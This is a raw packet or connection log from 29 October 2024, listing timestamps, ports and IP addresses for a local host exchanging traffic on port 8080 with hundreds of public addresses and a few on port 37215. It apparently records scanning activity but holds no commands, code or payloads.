Oct 29, 2024 20:52:38.075122118 CET	8080	56351	31.128.58.4	192.168.2.13
Oct 29, 2024 20:52:38.075124979 CET	56351	8080	192.168.2.13	94.232.144.149
Oct 29, 2024 20:52:38.075150013 CET	56351	8080	192.168.2.13	31.9.85.245
Oct 29, 2024 20:52:38.075150013 CET	56351	8080	192.168.2.13	85.162.3.74
Oct 29, 2024 20:52:38.075155020 CET	8080	56351	95.199.236.18	192.168.2.13
Oct 29, 2024 20:52:38.075158119 CET	56351	8080	192.168.2.13	62.156.18.1
Oct 29, 2024 20:52:38.075160980 CET	8080	56351	62.156.33.75	192.168.2.13
Oct 29, 2024 20:52:38.075164080 CET	56351	8080	192.168.2.13	31.52.183.64
Oct 29, 2024 20:52:38.075171947 CET	8080	56351	94.70.112.172	192.168.2.13
Oct 29, 2024 20:52:38.075175047 CET	56351	8080	192.168.2.13	62.55.22.93
Oct 29, 2024 20:52:38.075175047 CET	56351	8080	192.168.2.13	31.128.58.4
Oct 29, 2024 20:52:38.075176954 CET	8080	56351	62.52.126.17	192.168.2.13
Oct 29, 2024 20:52:38.075182915 CET	37215	34384	197.64.21.215	192.168.2.13
Oct 29, 2024 20:52:38.075195074 CET	8080	56351	95.5.229.188	192.168.2.13
Oct 29, 2024 20:52:38.075196981 CET	56351	8080	192.168.2.13	62.156.33.75
Oct 29, 2024 20:52:38.075198889 CET	56351	8080	192.168.2.13	94.70.112.172
Oct 29, 2024 20:52:38.075200081 CET	56351	8080	192.168.2.13	95.199.236.18
Oct 29, 2024 20:52:38.075201035 CET	8080	56351	85.101.4.44	192.168.2.13
Oct 29, 2024 20:52:38.075206995 CET	8080	56351	95.192.160.112	192.168.2.13
Oct 29, 2024 20:52:38.075221062 CET	56351	8080	192.168.2.13	62.52.126.17
Oct 29, 2024 20:52:38.075227976 CET	34384	37215	192.168.2.13	197.64.21.215
Oct 29, 2024 20:52:38.075241089 CET	56351	8080	192.168.2.13	95.5.229.188
Oct 29, 2024 20:52:38.075242043 CET	56351	8080	192.168.2.13	95.192.160.112
Oct 29, 2024 20:52:38.075241089 CET	56351	8080	192.168.2.13	85.101.4.44
Oct 29, 2024 20:52:38.075287104 CET	8080	56351	85.20.20.120	192.168.2.13
Oct 29, 2024 20:52:38.075292110 CET	8080	56351	62.163.15.25	192.168.2.13
Oct 29, 2024 20:52:38.075303078 CET	8080	56351	85.138.93.163	192.168.2.13
Oct 29, 2024 20:52:38.075324059 CET	56351	8080	192.168.2.13	85.147.42.8
Oct 29, 2024 20:52:38.075335979 CET	56351	8080	192.168.2.13	85.20.20.120
Oct 29, 2024 20:52:38.075336933 CET	56351	8080	192.168.2.13	85.111.109.130
Oct 29, 2024 20:52:38.075349092 CET	56351	8080	192.168.2.13	85.138.93.163
Oct 29, 2024 20:52:38.075360060 CET	56351	8080	192.168.2.13	62.123.42.23
Oct 29, 2024 20:52:38.075362921 CET	56351	8080	192.168.2.13	62.163.15.25
Oct 29, 2024 20:52:38.075375080 CET	56351	8080	192.168.2.13	94.252.189.192
Oct 29, 2024 20:52:38.075397015 CET	56351	8080	192.168.2.13	95.44.86.228
Oct 29, 2024 20:52:38.075411081 CET	56351	8080	192.168.2.13	94.250.54.221
Oct 29, 2024 20:52:38.075418949 CET	56351	8080	192.168.2.13	95.211.215.182
Oct 29, 2024 20:52:38.075422049 CET	56351	8080	192.168.2.13	85.152.126.117
Oct 29, 2024 20:52:38.075475931 CET	56351	8080	192.168.2.13	31.96.5.161
Oct 29, 2024 20:52:38.075486898 CET	56351	8080	192.168.2.13	62.48.133.0
Oct 29, 2024 20:52:38.075504065 CET	56351	8080	192.168.2.13	95.247.81.2
Oct 29, 2024 20:52:38.075511932 CET	56351	8080	192.168.2.13	95.177.73.245
Oct 29, 2024 20:52:38.075524092 CET	56351	8080	192.168.2.13	95.86.177.203
Oct 29, 2024 20:52:38.075524092 CET	56351	8080	192.168.2.13	94.234.70.144
Oct 29, 2024 20:52:38.075531960 CET	56351	8080	192.168.2.13	85.212.255.49
Oct 29, 2024 20:52:38.075532913 CET	56351	8080	192.168.2.13	95.29.58.83
Oct 29, 2024 20:52:38.075532913 CET	56351	8080	192.168.2.13	85.192.224.237
Oct 29, 2024 20:52:38.075552940 CET	56351	8080	192.168.2.13	31.252.74.246
Oct 29, 2024 20:52:38.075552940 CET	56351	8080	192.168.2.13	85.141.159.128
Oct 29, 2024 20:52:38.075567961 CET	56351	8080	192.168.2.13	85.208.172.198
Oct 29, 2024 20:52:38.075573921 CET	56351	8080	192.168.2.13	95.121.123.102
Oct 29, 2024 20:52:38.075582981 CET	56351	8080	192.168.2.13	31.15.127.79
Oct 29, 2024 20:52:38.075597048 CET	56351	8080	192.168.2.13	85.243.174.63
Oct 29, 2024 20:52:38.075644970 CET	8080	56351	31.70.13.28	192.168.2.13
Oct 29, 2024 20:52:38.075647116 CET	56351	8080	192.168.2.13	31.242.78.58
Oct 29, 2024 20:52:38.075649977 CET	8080	56351	95.188.34.73	192.168.2.13
Oct 29, 2024 20:52:38.075655937 CET	8080	56351	85.34.10.181	192.168.2.13
Oct 29, 2024 20:52:38.075660944 CET	56351	8080	192.168.2.13	62.29.161.133
Oct 29, 2024 20:52:38.075666904 CET	56351	8080	192.168.2.13	95.172.2.222
Oct 29, 2024 20:52:38.075680017 CET	56351	8080	192.168.2.13	31.40.202.183
Oct 29, 2024 20:52:38.075692892 CET	56351	8080	192.168.2.13	95.188.34.73
Oct 29, 2024 20:52:38.075695992 CET	56351	8080	192.168.2.13	85.34.10.181
Oct 29, 2024 20:52:38.075699091 CET	56351	8080	192.168.2.13	31.70.13.28
Oct 29, 2024 20:52:38.075700045 CET	56351	8080	192.168.2.13	31.98.124.26
Oct 29, 2024 20:52:38.075733900 CET	56351	8080	192.168.2.13	94.149.45.2
Oct 29, 2024 20:52:38.075742960 CET	56351	8080	192.168.2.13	31.187.35.173
Oct 29, 2024 20:52:38.075757980 CET	56351	8080	192.168.2.13	62.103.217.58
Oct 29, 2024 20:52:38.075773954 CET	56351	8080	192.168.2.13	31.140.89.234
Oct 29, 2024 20:52:38.075803041 CET	56351	8080	192.168.2.13	94.223.213.116
Oct 29, 2024 20:52:38.075813055 CET	8080	56351	94.179.137.141	192.168.2.13
Oct 29, 2024 20:52:38.075819016 CET	8080	56351	95.191.3.69	192.168.2.13
Oct 29, 2024 20:52:38.075822115 CET	56351	8080	192.168.2.13	62.67.119.46
Oct 29, 2024 20:52:38.075822115 CET	56351	8080	192.168.2.13	31.156.37.254
Oct 29, 2024 20:52:38.075824976 CET	8080	56351	95.112.7.70	192.168.2.13
Oct 29, 2024 20:52:38.075836897 CET	8080	56351	94.225.139.35	192.168.2.13
Oct 29, 2024 20:52:38.075839996 CET	56351	8080	192.168.2.13	85.186.183.125
Oct 29, 2024 20:52:38.075841904 CET	8080	56351	94.37.155.27	192.168.2.13
Oct 29, 2024 20:52:38.075845003 CET	56351	8080	192.168.2.13	62.4.215.43
Oct 29, 2024 20:52:38.075846910 CET	8080	56351	85.84.100.73	192.168.2.13
Oct 29, 2024 20:52:38.075855017 CET	8080	56351	62.73.243.124	192.168.2.13
Oct 29, 2024 20:52:38.075860023 CET	8080	56351	95.152.192.32	192.168.2.13
Oct 29, 2024 20:52:38.075865984 CET	8080	56351	95.230.237.7	192.168.2.13
Oct 29, 2024 20:52:38.075864077 CET	56351	8080	192.168.2.13	95.112.7.70
Oct 29, 2024 20:52:38.075864077 CET	56351	8080	192.168.2.13	94.179.137.141
Oct 29, 2024 20:52:38.075864077 CET	56351	8080	192.168.2.13	95.191.3.69
Oct 29, 2024 20:52:38.075864077 CET	56351	8080	192.168.2.13	94.225.139.35
Oct 29, 2024 20:52:38.075872898 CET	8080	56351	94.243.241.27	192.168.2.13
Oct 29, 2024 20:52:38.075889111 CET	8080	56351	62.223.86.10	192.168.2.13
Oct 29, 2024 20:52:38.075890064 CET	56351	8080	192.168.2.13	62.73.243.124
Oct 29, 2024 20:52:38.075891972 CET	56351	8080	192.168.2.13	94.37.155.27
Oct 29, 2024 20:52:38.075901985 CET	56351	8080	192.168.2.13	85.84.100.73
Oct 29, 2024 20:52:38.075906038 CET	8080	56351	62.139.201.28	192.168.2.13
Oct 29, 2024 20:52:38.075906038 CET	56351	8080	192.168.2.13	95.152.192.32
Oct 29, 2024 20:52:38.075906038 CET	56351	8080	192.168.2.13	95.230.237.7
Oct 29, 2024 20:52:38.075911999 CET	56351	8080	192.168.2.13	94.243.241.27
Oct 29, 2024 20:52:38.075921059 CET	8080	56351	62.114.0.196	192.168.2.13
Oct 29, 2024 20:52:38.075927973 CET	56351	8080	192.168.2.13	62.223.86.10
Oct 29, 2024 20:52:38.075932980 CET	8080	56351	95.125.68.227	192.168.2.13
Oct 29, 2024 20:52:38.075941086 CET	8080	56351	94.194.154.136	192.168.2.13
Oct 29, 2024 20:52:38.075942993 CET	56351	8080	192.168.2.13	62.139.201.28
Oct 29, 2024 20:52:38.075953007 CET	8080	56351	85.183.145.189	192.168.2.13
Oct 29, 2024 20:52:38.075958967 CET	56351	8080	192.168.2.13	62.114.0.196
Oct 29, 2024 20:52:38.075964928 CET	56351	8080	192.168.2.13	95.125.68.227
Oct 29, 2024 20:52:38.075967073 CET	8080	56351	85.209.2.189	192.168.2.13
Oct 29, 2024 20:52:38.075972080 CET	56351	8080	192.168.2.13	94.194.154.136
Oct 29, 2024 20:52:38.075973034 CET	8080	56351	95.16.81.119	192.168.2.13
Oct 29, 2024 20:52:38.075985909 CET	8080	56351	62.94.76.129	192.168.2.13
Oct 29, 2024 20:52:38.075992107 CET	8080	56351	94.28.58.41	192.168.2.13
Oct 29, 2024 20:52:38.075999975 CET	56351	8080	192.168.2.13	85.183.145.189
Oct 29, 2024 20:52:38.076000929 CET	8080	56351	95.168.21.225	192.168.2.13
Oct 29, 2024 20:52:38.076011896 CET	56351	8080	192.168.2.13	85.209.2.189
Oct 29, 2024 20:52:38.076015949 CET	56351	8080	192.168.2.13	31.38.170.68
Oct 29, 2024 20:52:38.076015949 CET	56351	8080	192.168.2.13	95.16.81.119
Oct 29, 2024 20:52:38.076021910 CET	56351	8080	192.168.2.13	62.80.96.1
Oct 29, 2024 20:52:38.076023102 CET	8080	56351	85.187.86.224	192.168.2.13
Oct 29, 2024 20:52:38.076035023 CET	56351	8080	192.168.2.13	94.28.58.41
Oct 29, 2024 20:52:38.076039076 CET	56351	8080	192.168.2.13	62.187.208.210
Oct 29, 2024 20:52:38.076039076 CET	56351	8080	192.168.2.13	62.94.76.129
Oct 29, 2024 20:52:38.076042891 CET	8080	56351	94.9.247.255	192.168.2.13
Oct 29, 2024 20:52:38.076045036 CET	56351	8080	192.168.2.13	95.168.21.225
Oct 29, 2024 20:52:38.076052904 CET	8080	56351	85.10.9.114	192.168.2.13
Oct 29, 2024 20:52:38.076065063 CET	8080	56351	85.197.102.80	192.168.2.13
Oct 29, 2024 20:52:38.076070070 CET	8080	56351	85.41.205.182	192.168.2.13
Oct 29, 2024 20:52:38.076071024 CET	56351	8080	192.168.2.13	85.187.86.224
Oct 29, 2024 20:52:38.076085091 CET	8080	56351	31.152.59.255	192.168.2.13
Oct 29, 2024 20:52:38.076090097 CET	8080	56351	62.236.197.245	192.168.2.13
Oct 29, 2024 20:52:38.076091051 CET	56351	8080	192.168.2.13	94.9.247.255
Oct 29, 2024 20:52:38.076095104 CET	56351	8080	192.168.2.13	85.10.9.114
Oct 29, 2024 20:52:38.076095104 CET	8080	56351	95.8.102.60	192.168.2.13
Oct 29, 2024 20:52:38.076102972 CET	8080	56351	31.181.194.21	192.168.2.13
Oct 29, 2024 20:52:38.076116085 CET	56351	8080	192.168.2.13	85.197.102.80
Oct 29, 2024 20:52:38.076118946 CET	8080	56351	62.45.234.54	192.168.2.13
Oct 29, 2024 20:52:38.076121092 CET	56351	8080	192.168.2.13	31.152.59.255
Oct 29, 2024 20:52:38.076122999 CET	56351	8080	192.168.2.13	62.236.197.245
Oct 29, 2024 20:52:38.076129913 CET	8080	56351	85.91.187.34	192.168.2.13
Oct 29, 2024 20:52:38.076143026 CET	8080	56351	94.156.37.117	192.168.2.13
Oct 29, 2024 20:52:38.076148033 CET	56351	8080	192.168.2.13	31.181.194.21
Oct 29, 2024 20:52:38.076148033 CET	56351	8080	192.168.2.13	95.8.102.60
Oct 29, 2024 20:52:38.076152086 CET	8080	56351	62.174.193.234	192.168.2.13
Oct 29, 2024 20:52:38.076155901 CET	56351	8080	192.168.2.13	94.224.5.245
Oct 29, 2024 20:52:38.076155901 CET	56351	8080	192.168.2.13	31.71.122.3
Oct 29, 2024 20:52:38.076160908 CET	8080	56351	31.116.106.183	192.168.2.13
Oct 29, 2024 20:52:38.076167107 CET	8080	56351	62.211.120.165	192.168.2.13
Oct 29, 2024 20:52:38.076173067 CET	56351	8080	192.168.2.13	85.91.187.34
Oct 29, 2024 20:52:38.076179028 CET	8080	56351	31.27.211.129	192.168.2.13
Oct 29, 2024 20:52:38.076183081 CET	56351	8080	192.168.2.13	94.156.37.117
Oct 29, 2024 20:52:38.076184034 CET	8080	56351	95.205.114.118	192.168.2.13
Oct 29, 2024 20:52:38.076189995 CET	8080	56351	31.247.41.166	192.168.2.13
Oct 29, 2024 20:52:38.076191902 CET	56351	8080	192.168.2.13	62.174.193.234
Oct 29, 2024 20:52:38.076195002 CET	56351	8080	192.168.2.13	85.41.205.182
Oct 29, 2024 20:52:38.076195002 CET	8080	56351	94.144.219.249	192.168.2.13
Oct 29, 2024 20:52:38.076195002 CET	56351	8080	192.168.2.13	62.152.210.68
Oct 29, 2024 20:52:38.076195002 CET	56351	8080	192.168.2.13	62.45.234.54
Oct 29, 2024 20:52:38.076195002 CET	56351	8080	192.168.2.13	62.211.120.165
Oct 29, 2024 20:52:38.076200962 CET	8080	56351	85.159.82.60	192.168.2.13
Oct 29, 2024 20:52:38.076205969 CET	56351	8080	192.168.2.13	31.116.106.183
Oct 29, 2024 20:52:38.076212883 CET	56351	8080	192.168.2.13	85.202.189.108
Oct 29, 2024 20:52:38.076217890 CET	8080	56351	62.252.79.70	192.168.2.13
Oct 29, 2024 20:52:38.076217890 CET	56351	8080	192.168.2.13	31.27.211.129
Oct 29, 2024 20:52:38.076222897 CET	8080	56351	94.231.255.247	192.168.2.13
Oct 29, 2024 20:52:38.076225996 CET	56351	8080	192.168.2.13	94.144.219.249
Oct 29, 2024 20:52:38.076230049 CET	56351	8080	192.168.2.13	95.205.114.118
Oct 29, 2024 20:52:38.076239109 CET	8080	56351	95.214.157.210	192.168.2.13
Oct 29, 2024 20:52:38.076240063 CET	56351	8080	192.168.2.13	85.159.82.60
Oct 29, 2024 20:52:38.076241970 CET	56351	8080	192.168.2.13	31.247.41.166
Oct 29, 2024 20:52:38.076251030 CET	8080	56351	85.224.41.81	192.168.2.13
Oct 29, 2024 20:52:38.076256037 CET	56351	8080	192.168.2.13	62.252.79.70
Oct 29, 2024 20:52:38.076261044 CET	56351	8080	192.168.2.13	94.231.255.247
Oct 29, 2024 20:52:38.076266050 CET	8080	56351	31.250.229.213	192.168.2.13
Oct 29, 2024 20:52:38.076273918 CET	8080	56351	95.20.16.31	192.168.2.13
Oct 29, 2024 20:52:38.076278925 CET	8080	56351	94.58.116.111	192.168.2.13
Oct 29, 2024 20:52:38.076280117 CET	56351	8080	192.168.2.13	95.214.157.210
Oct 29, 2024 20:52:38.076283932 CET	8080	56351	95.128.57.168	192.168.2.13
Oct 29, 2024 20:52:38.076284885 CET	56351	8080	192.168.2.13	85.224.41.81
Oct 29, 2024 20:52:38.076297998 CET	8080	56351	95.21.104.52	192.168.2.13
Oct 29, 2024 20:52:38.076309919 CET	8080	56351	95.31.252.62	192.168.2.13
Oct 29, 2024 20:52:38.076317072 CET	8080	56351	62.62.114.6	192.168.2.13
Oct 29, 2024 20:52:38.076318026 CET	56351	8080	192.168.2.13	95.20.16.31
Oct 29, 2024 20:52:38.076318026 CET	56351	8080	192.168.2.13	31.250.229.213
Oct 29, 2024 20:52:38.076323986 CET	8080	56351	95.132.112.16	192.168.2.13
Oct 29, 2024 20:52:38.076328993 CET	56351	8080	192.168.2.13	94.58.116.111
Oct 29, 2024 20:52:38.076330900 CET	56351	8080	192.168.2.13	95.128.57.168
Oct 29, 2024 20:52:38.076333046 CET	56351	8080	192.168.2.13	95.31.252.62
Oct 29, 2024 20:52:38.076334953 CET	56351	8080	192.168.2.13	95.21.104.52
Oct 29, 2024 20:52:38.076344013 CET	8080	56351	85.193.166.186	192.168.2.13
Oct 29, 2024 20:52:38.076350927 CET	8080	56351	62.19.120.153	192.168.2.13
Oct 29, 2024 20:52:38.076350927 CET	56351	8080	192.168.2.13	62.62.114.6
Oct 29, 2024 20:52:38.076351881 CET	56351	8080	192.168.2.13	95.132.112.16
Oct 29, 2024 20:52:38.076355934 CET	8080	56351	85.252.43.15	192.168.2.13
Oct 29, 2024 20:52:38.076360941 CET	8080	56351	95.114.135.147	192.168.2.13
Oct 29, 2024 20:52:38.076370955 CET	8080	56351	95.34.96.254	192.168.2.13
Oct 29, 2024 20:52:38.076376915 CET	56351	8080	192.168.2.13	94.195.10.159
Oct 29, 2024 20:52:38.076378107 CET	56351	8080	192.168.2.13	85.193.166.186
Oct 29, 2024 20:52:38.076385975 CET	8080	56351	95.157.133.206	192.168.2.13
Oct 29, 2024 20:52:38.076390028 CET	56351	8080	192.168.2.13	62.19.120.153
Oct 29, 2024 20:52:38.076399088 CET	8080	56351	95.178.40.40	192.168.2.13
Oct 29, 2024 20:52:38.076401949 CET	56351	8080	192.168.2.13	85.252.43.15
Oct 29, 2024 20:52:38.076401949 CET	56351	8080	192.168.2.13	95.114.135.147
Oct 29, 2024 20:52:38.076412916 CET	56351	8080	192.168.2.13	95.34.96.254
Oct 29, 2024 20:52:38.076416016 CET	8080	56351	62.99.249.90	192.168.2.13
Oct 29, 2024 20:52:38.076421022 CET	8080	56351	85.29.98.158	192.168.2.13
Oct 29, 2024 20:52:38.076421976 CET	56351	8080	192.168.2.13	95.157.133.206
Oct 29, 2024 20:52:38.076433897 CET	8080	56351	94.136.169.236	192.168.2.13
Oct 29, 2024 20:52:38.076438904 CET	8080	56351	95.190.184.158	192.168.2.13
Oct 29, 2024 20:52:38.076442957 CET	56351	8080	192.168.2.13	95.178.40.40
Oct 29, 2024 20:52:38.076447964 CET	8080	56351	95.232.55.79	192.168.2.13
Oct 29, 2024 20:52:38.076455116 CET	8080	56351	95.88.147.94	192.168.2.13
Oct 29, 2024 20:52:38.076459885 CET	8080	56351	85.100.196.233	192.168.2.13
Oct 29, 2024 20:52:38.076461077 CET	56351	8080	192.168.2.13	85.29.98.158
Oct 29, 2024 20:52:38.076464891 CET	8080	56351	31.71.227.43	192.168.2.13
Oct 29, 2024 20:52:38.076471090 CET	56351	8080	192.168.2.13	95.190.184.158
Oct 29, 2024 20:52:38.076474905 CET	56351	8080	192.168.2.13	62.99.249.90
Oct 29, 2024 20:52:38.076478958 CET	56351	8080	192.168.2.13	94.136.169.236
Oct 29, 2024 20:52:38.076478958 CET	56351	8080	192.168.2.13	95.198.199.204
Oct 29, 2024 20:52:38.076492071 CET	56351	8080	192.168.2.13	95.232.55.79
Oct 29, 2024 20:52:38.076493979 CET	56351	8080	192.168.2.13	95.88.147.94
Oct 29, 2024 20:52:38.076498985 CET	56351	8080	192.168.2.13	85.100.196.233
Oct 29, 2024 20:52:38.076498985 CET	56351	8080	192.168.2.13	31.71.227.43
Oct 29, 2024 20:52:38.076498985 CET	56351	8080	192.168.2.13	94.123.151.193
Oct 29, 2024 20:52:38.076500893 CET	8080	56351	31.152.142.197	192.168.2.13
Oct 29, 2024 20:52:38.076523066 CET	8080	56351	95.2.68.124	192.168.2.13
Oct 29, 2024 20:52:38.076528072 CET	8080	56351	62.56.208.148	192.168.2.13
Oct 29, 2024 20:52:38.076539040 CET	8080	56351	85.3.140.51	192.168.2.13
Oct 29, 2024 20:52:38.076544046 CET	8080	56351	95.30.32.112	192.168.2.13
Oct 29, 2024 20:52:38.076545954 CET	56351	8080	192.168.2.13	31.152.142.197
Oct 29, 2024 20:52:38.076550961 CET	8080	56351	94.162.240.223	192.168.2.13
Oct 29, 2024 20:52:38.076551914 CET	56351	8080	192.168.2.13	62.155.179.18
Oct 29, 2024 20:52:38.076555967 CET	8080	56351	94.168.24.86	192.168.2.13
Oct 29, 2024 20:52:38.076561928 CET	8080	56351	85.138.40.60	192.168.2.13
Oct 29, 2024 20:52:38.076570988 CET	56351	8080	192.168.2.13	95.2.68.124
Oct 29, 2024 20:52:38.076572895 CET	56351	8080	192.168.2.13	62.56.208.148
Oct 29, 2024 20:52:38.076572895 CET	56351	8080	192.168.2.13	85.3.140.51
Oct 29, 2024 20:52:38.076574087 CET	8080	56351	31.11.230.224	192.168.2.13
Oct 29, 2024 20:52:38.076575994 CET	8080	56351	94.36.12.155	192.168.2.13
Oct 29, 2024 20:52:38.076575994 CET	56351	8080	192.168.2.13	95.30.32.112
Oct 29, 2024 20:52:38.076579094 CET	8080	56351	85.39.205.140	192.168.2.13
Oct 29, 2024 20:52:38.076584101 CET	56351	8080	192.168.2.13	62.123.185.53
Oct 29, 2024 20:52:38.076586008 CET	8080	56351	94.49.28.90	192.168.2.13
Oct 29, 2024 20:52:38.076592922 CET	56351	8080	192.168.2.13	94.162.240.223
Oct 29, 2024 20:52:38.076594114 CET	56351	8080	192.168.2.13	31.36.3.31
Oct 29, 2024 20:52:38.076596022 CET	56351	8080	192.168.2.13	94.168.24.86
Oct 29, 2024 20:52:38.076600075 CET	56351	8080	192.168.2.13	62.156.9.197
Oct 29, 2024 20:52:38.076601982 CET	56351	8080	192.168.2.13	85.138.40.60
Oct 29, 2024 20:52:38.076623917 CET	56351	8080	192.168.2.13	85.39.205.140
Oct 29, 2024 20:52:38.076623917 CET	56351	8080	192.168.2.13	94.36.12.155
Oct 29, 2024 20:52:38.076623917 CET	56351	8080	192.168.2.13	31.11.230.224
Oct 29, 2024 20:52:38.076631069 CET	56351	8080	192.168.2.13	94.49.28.90
Oct 29, 2024 20:52:38.076647043 CET	56351	8080	192.168.2.13	62.239.72.147
Oct 29, 2024 20:52:38.076672077 CET	56351	8080	192.168.2.13	85.49.163.160
Oct 29, 2024 20:52:38.076683044 CET	56351	8080	192.168.2.13	85.85.107.24
Oct 29, 2024 20:52:38.076683998 CET	56351	8080	192.168.2.13	62.120.63.0
Oct 29, 2024 20:52:38.076694965 CET	8080	56351	94.249.31.22	192.168.2.13
Oct 29, 2024 20:52:38.076724052 CET	56351	8080	192.168.2.13	95.85.31.162
Oct 29, 2024 20:52:38.076747894 CET	56351	8080	192.168.2.13	94.249.31.22
Oct 29, 2024 20:52:38.076761961 CET	56351	8080	192.168.2.13	94.227.38.119
Oct 29, 2024 20:52:38.076766968 CET	56351	8080	192.168.2.13	62.152.105.31
Oct 29, 2024 20:52:38.076767921 CET	56351	8080	192.168.2.13	95.25.228.85
Oct 29, 2024 20:52:38.076783895 CET	56351	8080	192.168.2.13	94.43.254.50
Oct 29, 2024 20:52:38.076796055 CET	56351	8080	192.168.2.13	31.53.198.150
Oct 29, 2024 20:52:38.076803923 CET	56351	8080	192.168.2.13	31.211.76.32
Oct 29, 2024 20:52:38.076848984 CET	56351	8080	192.168.2.13	85.158.253.137
Oct 29, 2024 20:52:38.076848984 CET	56351	8080	192.168.2.13	94.117.46.146
Oct 29, 2024 20:52:38.076849937 CET	56351	8080	192.168.2.13	31.141.253.110
Oct 29, 2024 20:52:38.076862097 CET	56351	8080	192.168.2.13	62.39.252.106
Oct 29, 2024 20:52:38.076863050 CET	56351	8080	192.168.2.13	85.99.148.213
Oct 29, 2024 20:52:38.076878071 CET	56351	8080	192.168.2.13	62.74.187.12
Oct 29, 2024 20:52:38.076888084 CET	56351	8080	192.168.2.13	31.211.233.132
Oct 29, 2024 20:52:38.076889992 CET	56351	8080	192.168.2.13	95.185.159.240
Oct 29, 2024 20:52:38.076909065 CET	56351	8080	192.168.2.13	85.84.143.55
Oct 29, 2024 20:52:38.076916933 CET	56351	8080	192.168.2.13	85.249.30.221
Oct 29, 2024 20:52:38.076919079 CET	56351	8080	192.168.2.13	31.32.17.40
Oct 29, 2024 20:52:38.076931953 CET	56351	8080	192.168.2.13	85.57.70.221
Oct 29, 2024 20:52:38.076935053 CET	56351	8080	192.168.2.13	62.182.176.155
Oct 29, 2024 20:52:38.076944113 CET	56351	8080	192.168.2.13	31.216.119.73
Oct 29, 2024 20:52:38.076972008 CET	56351	8080	192.168.2.13	94.134.25.185
Oct 29, 2024 20:52:38.076972008 CET	56351	8080	192.168.2.13	62.156.81.80
Oct 29, 2024 20:52:38.076984882 CET	56351	8080	192.168.2.13	94.45.196.22
Oct 29, 2024 20:52:38.076984882 CET	56351	8080	192.168.2.13	95.63.169.199
Oct 29, 2024 20:52:38.077029943 CET	56351	8080	192.168.2.13	94.64.122.116
Oct 29, 2024 20:52:38.077039003 CET	56351	8080	192.168.2.13	95.116.213.230
Oct 29, 2024 20:52:38.077042103 CET	8080	56351	85.129.220.188	192.168.2.13
Oct 29, 2024 20:52:38.077048063 CET	8080	56351	85.32.216.46	192.168.2.13
Oct 29, 2024 20:52:38.077054024 CET	8080	56351	62.48.3.248	192.168.2.13
Oct 29, 2024 20:52:38.077054024 CET	56351	8080	192.168.2.13	85.190.47.30
Oct 29, 2024 20:52:38.077059984 CET	8080	56351	85.160.75.153	192.168.2.13
Oct 29, 2024 20:52:38.077064991 CET	8080	56351	31.48.62.226	192.168.2.13
Oct 29, 2024 20:52:38.077068090 CET	56351	8080	192.168.2.13	85.255.28.120
Oct 29, 2024 20:52:38.077070951 CET	8080	56351	85.44.226.60	192.168.2.13
Oct 29, 2024 20:52:38.077071905 CET	56351	8080	192.168.2.13	62.164.173.11
Oct 29, 2024 20:52:38.077076912 CET	8080	56351	31.232.0.192	192.168.2.13
Oct 29, 2024 20:52:38.077081919 CET	8080	56351	31.196.6.67	192.168.2.13
Oct 29, 2024 20:52:38.077085972 CET	56351	8080	192.168.2.13	85.160.75.153
Oct 29, 2024 20:52:38.077086926 CET	8080	56351	31.41.82.0	192.168.2.13
Oct 29, 2024 20:52:38.077086926 CET	56351	8080	192.168.2.13	85.32.216.46
Oct 29, 2024 20:52:38.077090025 CET	56351	8080	192.168.2.13	85.129.220.188
Oct 29, 2024 20:52:38.077094078 CET	8080	56351	85.223.193.27	192.168.2.13
Oct 29, 2024 20:52:38.077097893 CET	56351	8080	192.168.2.13	62.48.3.248
Oct 29, 2024 20:52:38.077099085 CET	56351	8080	192.168.2.13	31.48.62.226
Oct 29, 2024 20:52:38.077102900 CET	56351	8080	192.168.2.13	94.20.102.181
Oct 29, 2024 20:52:38.077112913 CET	56351	8080	192.168.2.13	31.232.0.192
Oct 29, 2024 20:52:38.077116013 CET	56351	8080	192.168.2.13	31.41.82.0
Oct 29, 2024 20:52:38.077120066 CET	56351	8080	192.168.2.13	31.196.6.67
Oct 29, 2024 20:52:38.077124119 CET	56351	8080	192.168.2.13	85.223.193.27
Oct 29, 2024 20:52:38.077126026 CET	56351	8080	192.168.2.13	85.44.226.60
Oct 29, 2024 20:52:38.077136993 CET	56351	8080	192.168.2.13	85.118.63.30
Oct 29, 2024 20:52:38.077136993 CET	56351	8080	192.168.2.13	62.41.246.110
Oct 29, 2024 20:52:38.077183962 CET	56351	8080	192.168.2.13	94.78.87.53
Oct 29, 2024 20:52:38.077197075 CET	56351	8080	192.168.2.13	94.121.127.131
Oct 29, 2024 20:52:38.077199936 CET	56351	8080	192.168.2.13	85.84.46.244
Oct 29, 2024 20:52:38.077214956 CET	8080	56351	95.12.96.246	192.168.2.13
Oct 29, 2024 20:52:38.077217102 CET	56351	8080	192.168.2.13	85.70.52.193
Oct 29, 2024 20:52:38.077220917 CET	8080	56351	62.167.110.97	192.168.2.13
Oct 29, 2024 20:52:38.077222109 CET	56351	8080	192.168.2.13	95.190.34.21
Oct 29, 2024 20:52:38.077225924 CET	8080	56351	31.147.29.122	192.168.2.13
Oct 29, 2024 20:52:38.077230930 CET	8080	56351	94.83.31.122	192.168.2.13
Oct 29, 2024 20:52:38.077235937 CET	8080	56351	95.28.216.209	192.168.2.13
Oct 29, 2024 20:52:38.077238083 CET	56351	8080	192.168.2.13	95.155.223.214
Oct 29, 2024 20:52:38.077240944 CET	8080	56351	85.205.60.58	192.168.2.13
Oct 29, 2024 20:52:38.077246904 CET	8080	56351	95.139.245.62	192.168.2.13
Oct 29, 2024 20:52:38.077251911 CET	8080	56351	62.9.112.16	192.168.2.13
Oct 29, 2024 20:52:38.077255011 CET	56351	8080	192.168.2.13	62.167.110.97
Oct 29, 2024 20:52:38.077260017 CET	56351	8080	192.168.2.13	31.147.29.122
Oct 29, 2024 20:52:38.077265024 CET	56351	8080	192.168.2.13	94.83.31.122
Oct 29, 2024 20:52:38.077266932 CET	56351	8080	192.168.2.13	95.12.96.246
Oct 29, 2024 20:52:38.077266932 CET	56351	8080	192.168.2.13	95.28.216.209
Oct 29, 2024 20:52:38.077267885 CET	8080	56351	95.9.206.110	192.168.2.13
Oct 29, 2024 20:52:38.077276945 CET	56351	8080	192.168.2.13	85.205.60.58
Oct 29, 2024 20:52:38.077276945 CET	56351	8080	192.168.2.13	95.139.245.62
Oct 29, 2024 20:52:38.077284098 CET	8080	56351	94.151.220.243	192.168.2.13
Oct 29, 2024 20:52:38.077286959 CET	56351	8080	192.168.2.13	62.9.112.16
Oct 29, 2024 20:52:38.077290058 CET	8080	56351	31.38.37.98	192.168.2.13
Oct 29, 2024 20:52:38.077295065 CET	8080	56351	94.185.199.214	192.168.2.13
Oct 29, 2024 20:52:38.077301979 CET	8080	56351	94.47.57.127	192.168.2.13
